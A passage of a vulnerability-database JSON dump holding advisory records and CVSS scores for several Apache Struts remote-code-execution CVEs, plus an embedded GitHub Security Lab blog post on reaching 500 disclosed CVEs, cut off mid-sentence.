Telegram Bot to manage botnets created with struts vulnerability (CVE-2017-5638)", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T17:30:13", "id": "KITPLOIT:9079806502812490909", "href": "http://www.kitploit.com/2017/03/strutszeiro-telegram-bot-to-manage.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ubuntucve": [{"lastseen": "2023-06-20T14:08:20", "description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible\nRemote Code Execution when alwaysSelectFullNamespace is true (either by\nuser or a plugin like Convention Plugin) and then: results are used with no\nnamespace and in same time, its upper package have no or wildcard namespace\nand similar to results, same possibility when using url tag which doesn't\nhave value and action set and in same time, its upper package have no or\nwildcard namespace.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-22T00:00:00", "type": "ubuntucve", "title": "CVE-2018-11776", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-22T00:00:00", "id": "UB:CVE-2018-11776", "href": "https://ubuntu.com/security/CVE-2018-11776", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-24T14:58:52", "description": "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and\n2.5.x before 2.5.10.1 has incorrect exception handling and error-message\ngeneration during file-upload attempts, which allows remote attackers to\nexecute arbitrary commands via a crafted Content-Type, Content-Disposition,\nor Content-Length HTTP header, as exploited in the wild in March 2017 with\na Content-Type header containing a #cmd= string.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[seth-arnold](<https://launchpad.net/~seth-arnold>) | \"Affected Software Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-11T00:00:00", "type": "ubuntucve", "title": "CVE-2017-5638", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-11T00:00:00", "id": "UB:CVE-2017-5638", "href": "https://ubuntu.com/security/CVE-2017-5638", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-28T14:21:10", "description": "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and\n2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for\ndeserialization without any type filtering, which can lead to Remote Code\nExecution when deserializing XML payloads.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-09-15T00:00:00", "type": "ubuntucve", "title": "CVE-2017-9805", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2017-09-15T00:00:00", "id": "UB:CVE-2017-9805", "href": "https://ubuntu.com/security/CVE-2017-9805", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2021-12-17T11:27:15", "description": "A remote code execution vulnerability exists in Apache Struts. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-23T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts Remote Code Execution (CVE-2018-11776)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-12T00:00:00", "id": "CPAI-2018-0849", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-17T11:34:07", "description": "A remote code execution vulnerability exists in Apache Struts. This vulnerability is due to the an insecure deserialization. A remote attacker could exploit this vulnerability by sending a crafted request to the target server. Successful exploitation will allow an attacker to execute arbitrary code on the server.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-09-06T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts REST Plugin XStream Deserialization Remote Code Execution (CVE-2017-9805)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2017-09-13T00:00:00", "id": "CPAI-2017-0742", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-10-04T10:32:49", "description": "A remote code execution vulnerability exists in Apache Struts2. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts2 Content-Type Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-09-28T00:00:00", "id": "CPAI-2017-0197", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-17T11:33:37", "description": "A remote code execution vulnerability exists in the Apache Struts2 using Jakarta multipart parser. An attacker could exploit this vulnerability by sending an invalid content-disposition as part of a file upload request. Successful exploitation could result in execution of arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-08-09T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts 2 Content-Disposition Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-08-29T00:00:00", "id": "CPAI-2017-0676", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "github": [{"lastseen": "2023-08-28T13:11:03", "description": "Apache Struts contains a Remote Code Execution when using results with no namespace and it's upper actions have no or wildcard namespace. The same flaw exists when using a url tag with no value, action set, and it's upper actions have no or wildcard namespace.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-10-18T19:24:38", "type": "github", "title": "Apache Struts vulnerable to remote command execution (RCE) due to improper input validation", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-08-28T10:57:12", "id": "GHSA-CR6J-3JP9-RW65", "href": "https://github.com/advisories/GHSA-cr6j-3jp9-rw65", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-05T17:19:17", "description": "The REST Plugin in Apache Struts 2.1.2 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-10-16T19:37:56", "type": "github", "title": "REST Plugin in Apache Struts uses an XStreamHandler with an instance of XStream for deserialization without any type filtering", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2023-01-09T05:03:17", "id": "GHSA-GG9M-FJ3V-R58C", "href": "https://github.com/advisories/GHSA-gg9m-fj3v-r58c", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T17:15:37", "description": "Apache Struts versions prior to 2.3.32 and 2.5.10.1 contain incorrect exception handling and error-message generation during file-upload attempts using the Jakarta Multipart parser, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-10-18T19:24:26", "type": "github", "title": "Apache Struts vulnerable to remote arbitrary command execution due to improper input validation", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2023-01-31T05:03:28", "id": "GHSA-J77Q-2QQG-6989", "href": "https://github.com/advisories/GHSA-j77q-2qqg-6989", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-22T05:21:35", "description": "When I stepped onto the scale this morning, I remembered that there are some numbers that feel awkward to celebrate, while perhaps some others are worth celebrating! Recently, the GitHub Security Lab passed the milestone of 500 CVEs disclosed to open source projects. What\u2019s a CVE? In short, it\u2019s the record of a security vulnerability, under the [CVE](<https://www.cve.org/About/Overview>) program, intended to inform impacted users. So, finding more vulnerabilities in open source shouldn\u2019t be good news, right? Even as developer communities are getting better at [keeping themselves secure](<https://octoverse.github.com/2022/developer-community>), security issues may still slip through their defenses. This means that there will always be a need for security researchers, like the Security Lab, to discover and help fix them.\n\nIf you\u2019re not familiar with the Security Lab, we\u2019re a team of security experts who work with the broader open source community to help fix security issues in their projects, with the goal of improving the overall security posture of open source. Our core activity is to audit open source projects, [not only the ones hosted on GitHub](<https://twitter.com/zemarmot/status/1681008991663423489>)\u2013and help their maintainers fix the vulnerabilities we find, for free. This research is foundational for our other activities, such as [education](<http://gh.io/securecodegame>), improvement of our open source [static analysis rules](<http://gh.io/codeql-wall-of-fame>), and [tooling](<https://github.blog/2023-06-26-new-tool-to-secure-your-github-actions/>). And now we are celebrating more than 500 CVEs disclosed. ![\ud83c\udf89](https://s.w.org/images/core/emoji/14.0.0/72x72/1f389.png)\n\n## How did we get here?[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#how-did-we-get-here>)\n\nThe history of the Security Lab dates back to Semmle, the company that created CodeQL, and which was later acquired by GitHub. 2017 was a pivotal year, as we realized how powerful our product could be for finding security vulnerabilities. Unlike many other static analysis tools, CodeQL efficiently codifies insecure patterns and responds urgently to new security threats at scale. To showcase this capability, Semmle created a small security research team who used CodeQL to search for vulnerabilities in open source projects, and a web portal named LGTM.com where all open source projects could run CodeQL for free and be alerted of potential security flaws directly within their pull requests. This approach grew into an important company objective: find and fix vulnerabilities at scale in open source. This was a way of giving back to the open source community, just like any software company should.\n\n![GitHub and Semmle](https://github.blog/wp-content/uploads/2019/09/GItHub-and-Semmle.png?w=1024&resize=1024%2C538)\n\nIn September 2019, [GitHub acquired Semmle](<https://github.blog/2019-09-18-github-welcomes-semmle/>), providing an ideal home for advancing the goal of improving open source security at scale. This led to the creation of the Security Lab, with a larger team and new initiatives, including curating the [GitHub Advisory Database](<https://github.com/advisories>). The GitHub Advisory Database provides developers with the most accurate information about known security issues in their open source dependencies. GitHub also incorporated CodeQL as a foundation of code scanning and a core pillar of GitHub Advanced Security (GHAS), keeping it free for open source. Code scanning [reached parity with LGTM.com in 2022](<https://github.blog/2022-08-15-the-next-step-for-lgtm-com-github-code-scanning/>).\n\nWe have also expanded beyond CodeQL and now use a variety of tools in our audit activities, such as fuzzing. But CodeQL remains one of the most effective tools in our toolbox, because it enables us to conduct [variant analysis at scale](<https://github.blog/2023-03-09-multi-repository-variant-analysis-a-powerful-new-way-to-perform-security-research-across-github/>), and allows us to share our knowledge of insecure patterns with the community, in the form of executable CodeQL queries.\n\n## The secret? Our maintainers-first approach[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#the-secret-our-maintainers-first-approach>)\n\nNot all reports get a CVE. CVE records are useful for informing downstream consumers, so when there is no downstream consumer, there is no need for a CVE. For example, a vulnerability in a CI workflow, or a vulnerability discovered in a development branch and fixed before it reached any release does not require a CVE. While we are credited for 500 CVEs, we have actually reported and helped fix over 1,000 vulnerabilities. But who's counting, right?\n\nThat said, what matters most to us is our fix rate. When looking at the tens of thousands of reports in the GitHub Advisory Database, on average, 80% are fixed by maintainers. However, the fix rate for vulnerabilities the Security Lab reported is much higher: 96% of our reports end up with a fix. This reflects the validity of our reports and our effective collaboration with maintainers. We want project maintainers to succeed, and because of that, we are flexible on the disclosure timeline\u2013when it\u2019s safe for the rest of the community\u2013we provide fix suggestions, and we always help test the new release. Our [report template is open source](<https://github.com/github/securitylab/blob/main/docs/report-template.md>) for all security researchers who would like to use it as an inspiration for their own reports.\n\nNow, let\u2019s take a look at some vulnerabilities that stand out!!\n\n## Highlights from our first 500[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#highlights-from-our-first-500>)\n\n### [CVE-2017-9805](<https://securitylab.github.com/research/apache-struts-vulnerability-cve-2017-9805/>): Remote Code Execution vulnerability in Apache Struts[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#cve-2017-9805-remote-code-execution-vulnerability-in-apache-struts>)\n\nThe bug that started it all. Man Yue Mo found an unsafe deserialization vulnerability in Apache Struts, which enabled an unauthenticated remote attacker to execute arbitrary code. Apache Struts was already in the news at the time, because an older vulnerability\u2014[CVE-2017-5638](<https://github.com/advisories/GHSA-j77q-2qqg-6989>)\u2014had been leveraged in the [Equifax breach](<https://arstechnica.com/information-technology/2017/09/massive-equifax-breach-caused-by-failure-to-patch-two-month-old-bug/>). Mo, who at the time was still working on Semmle\u2019s data science team, found the bug by tweaking the CodeQL query for unsafe deserialization.\n\n> This is the starting point for me personally. I came across this without realizing its significance when looking at the unsafe deserialization sinks. This bug helped us realize the power of CodeQL and understand how it can be used to find serious vulnerabilities that are otherwise hard to find, by customizing its dataflow sources, sinks, and steps.\n\n\\- Man Yue Mo, @m-y-mo\n\n### [CVE-2018-4407](<https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407/>): Kernel crash caused by out-of-bounds write in Apple's ICMP packet-handling code[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#cve-2018-4407-kernel-crash-caused-by-out-of-bounds-write-in-apples-icmp-packet-handling-code>)\n\nBy exploiting an integer overflow in the [XNU](<https://en.wikipedia.org/wiki/XNU>) kernel\u2019s networking code, a malicious TCP packet could trigger an out-of-bounds memory access, which would instantly crash the macOS kernel ([video](<https://twitter.com/kevin_backhouse/status/1057352656560287746>)) and reboot any Mac or iOS device on the same network as the attacker, without user interaction. It even had a [tweetable poc](<https://twitter.com/ihackbanme/status/1057811965945376768>).\n\n> We recorded the video of the poc in our Oxford office. I modified the poc so that it could crash multiple devices simultaneously, but I made a mistake and accidentally broadcast it to the whole office, crashing all the Macs and iPhones in the office that day! People on the other floors had no idea what had happened. ![\ud83d\ude2c](https://s.w.org/images/core/emoji/14.0.0/72x72/1f62c.png)\n\n\\- Kevin Backhouse, @kevinbackhouse\n\n### [GHSL-2020-204](<https://securitylab.github.com/research/securing-the-fight-against-covid19-through-oss/>): Remote Code Execution in Corona Warn App Server[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#ghsl-2020-204-remote-code-execution-in-corona-warn-app-server>)\n\nA Remote Code Execution (RCE) vulnerability was found in the German application used to track COVID contacts. An unauthenticated attacker would have been able to able to fully compromise the server where citizens were sending their anonymous infection information to facilitate the tracking of the exposure of other German citizens.This is a good example of a vulnerability that did not require a CVE since the CWA app was only used and deployed by the German and Belgian governments.\n\n> This was a novel vulnerability category we found at the Security Lab. I was researching how certain data validators, in theory used to make sure that untrusted data conformed to safe patterns, could actually be abused for the opposite purpose, and actually make the application vulnerable to a different type of attack. This research led to the publication of the Bean Stalking: Growing Java beans into RCE article and soon after we found many applications vulnerable to this vulnerability, including the Corona Warn App which we promptly reported to the maintainers.\n\n\\- Alvaro Mu\u00f1oz, @pwntester\n\n### [CVE-2021-3560](<https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/>): Privilege escalation with polkit[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#cve-2021-3560-privilege-escalation-with-polkit>)\n\npolkit is a system service installed by default on many Linux distributions, including popular distributions such as RHEL and Ubuntu. A race condition vulnerability in this library enabled an unprivileged local user to get a root shell on Linux systems. The bug was in error handling code, and could be triggered by disconnecting the client too early.\n\n> Local privilege escalation vulnerabilities on Linux are often in the kernel and require some tricky code to exploit. This bug was different because it was very easy to exploit by running a few commands in the terminal.\n\n\\- Kevin Backhouse, @kevinbackhouse\n\n### [CVE-2021-45046](<https://logging.apache.org/log4j/2.x/security.html>): Bypass of initial mitigations for Log4Shell[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#cve-2021-45046-bypass-of-initial-mitigations-for-log4shell>)\n\nDecember 2021 may be remembered by Java developers and security folks for a RCE vulnerability found in the popular Log4J logging library. The Java world faltered with what was probably the worst vulnerability ever affecting the Java ecosystem. The Apache maintainers quickly published a patch for it; however, our researchers found that the fix was not sufficient and reported a bypass affecting certain OSes to the maintainers.\n\n> Having researched and published how JNDI injections could lead to RCE back in 2016 at the BlackHat security conference, I was shocked that such a vulnerability was hidden in plain sight for so long affecting probably the most popular Java logging library. It made me realize how separated the developers and security researchers worlds actually are and how important it is to close this gap in order to build secure software.\n\n\\- Alvaro Mu\u00f1oz, @pwntester\n\n### Multiple script injections and \u201c[pwn request](<https://securitylab.github.com/research/github-actions-preventing-pwn-requests/>)\u201d vulnerabilities in implementations of GitHub Actions workflows[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#multiple-script-injections-and-pwn-request-vulnerabilities-in-implementations-of-github-actions-workflows>)\n\nWe noticed emerging insecure patterns in the implementation of GitHub Actions and helped fix more than a hundred instances in open source projects. We also published [guidelines](<https://securitylab.github.com/research/github-actions-building-blocks/>) and [CodeQL queries](<https://docs.github.com/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning>) to find these types of vulnerabilities, and an [open source tool](<https://github.blog/2023-06-26-new-tool-to-secure-your-github-actions/>) that helps users set the right permissions for the tokens used in these pipelines to limit the damage in case of an exploit. Since the vulnerabilities were in the implementation of CI/CD pipelines the reports didn\u2019t get CVEs assigned as no immediate action was needed by the open source projects\u2019 users once they were fixed.\n\n> One pattern, which we coined as \u2018pwn request\u2019 was especially interesting because it was a combination of two unrelated features. When used together it led to a vulnerability.\n\n\\- Jaroslav Loba\u010devski, @jarlob\n\n### [CVE-2022-20186](<https://github.blog/2022-07-27-corrupting-memory-without-memory-corruption/>): Privilege escalation in Arm Mali GPU[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#cve-2022-20186-privilege-escalation-in-arm-mali-gpu>)\n\nThis one is a vulnerability in the Arm Mali GPU kernel driver that can be used to gain arbitrary kernel memory access from an untrusted app on a Pixel 6, to eventually gain root privileges and disable SELinux.\n\n> This bug somewhat kicked off a series of powerful bugs that exploited the memory management code in the Arm Mali GPU, which provided a very reliable and simple way to exploit the kernel, despite all the mitigations that were introduced in recent years.\n\n\\- Man Yue Mo, @m-y-mo\n\n## The road to the next 500 CVEs[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#the-road-to-the-next-500-cves>)\n\nWith the continuous improvements of CodeQL, and the ongoing modeling of new frameworks, [turbo charged by the use of Large Language Models](<https://github.blog/2023-09-12-codeql-team-uses-ai-to-power-vulnerability-detection-in-code/>) (LLMs), we are disclosing vulnerabilities faster and at a larger scale than ever before. It won\u2019t be long until we write again to celebrate the next 500 CVEs.\n\nOur dream, however, is to reach a point where the impact of the education and protection efforts\u2013from us and the community at large\u2013will balance this audit and disclosure activity, and result in finding less vulnerabilities in open source code. For example, because CodeQL is available for all projects via code scanning, any improvement will help us find more issues, but on the other hand an increased use of code scanning will prevent these issues from happening in the first place.\n\nBut we cannot do that alone. We need all of you.\n\n## Assemble! Securing open source is a team effort![](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#assemble-securing-open-source-is-a-team-effort>)\n\nWith [CodeQL](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/codeql.com>) and[ multi-repository variant analysis](<https://codeql.github.com/docs/codeql-for-visual-studio-code/running-codeql-queries-at-scale-with-mrva/>), you can multiply your audit\u2019s impact by coding an insecure pattern and finding all occurrences in your code portfolio\u2013we know that bugs are often copy/pasted throughout projects. You can also multiply your impact by contributing your CodeQL queries back to the open source repository, and sharing them with the community, to find and fix even more occurrences, and protect many projects\u2013as well as the open source software supply chain.\n\nIf you maintain an open source project you can enable [code 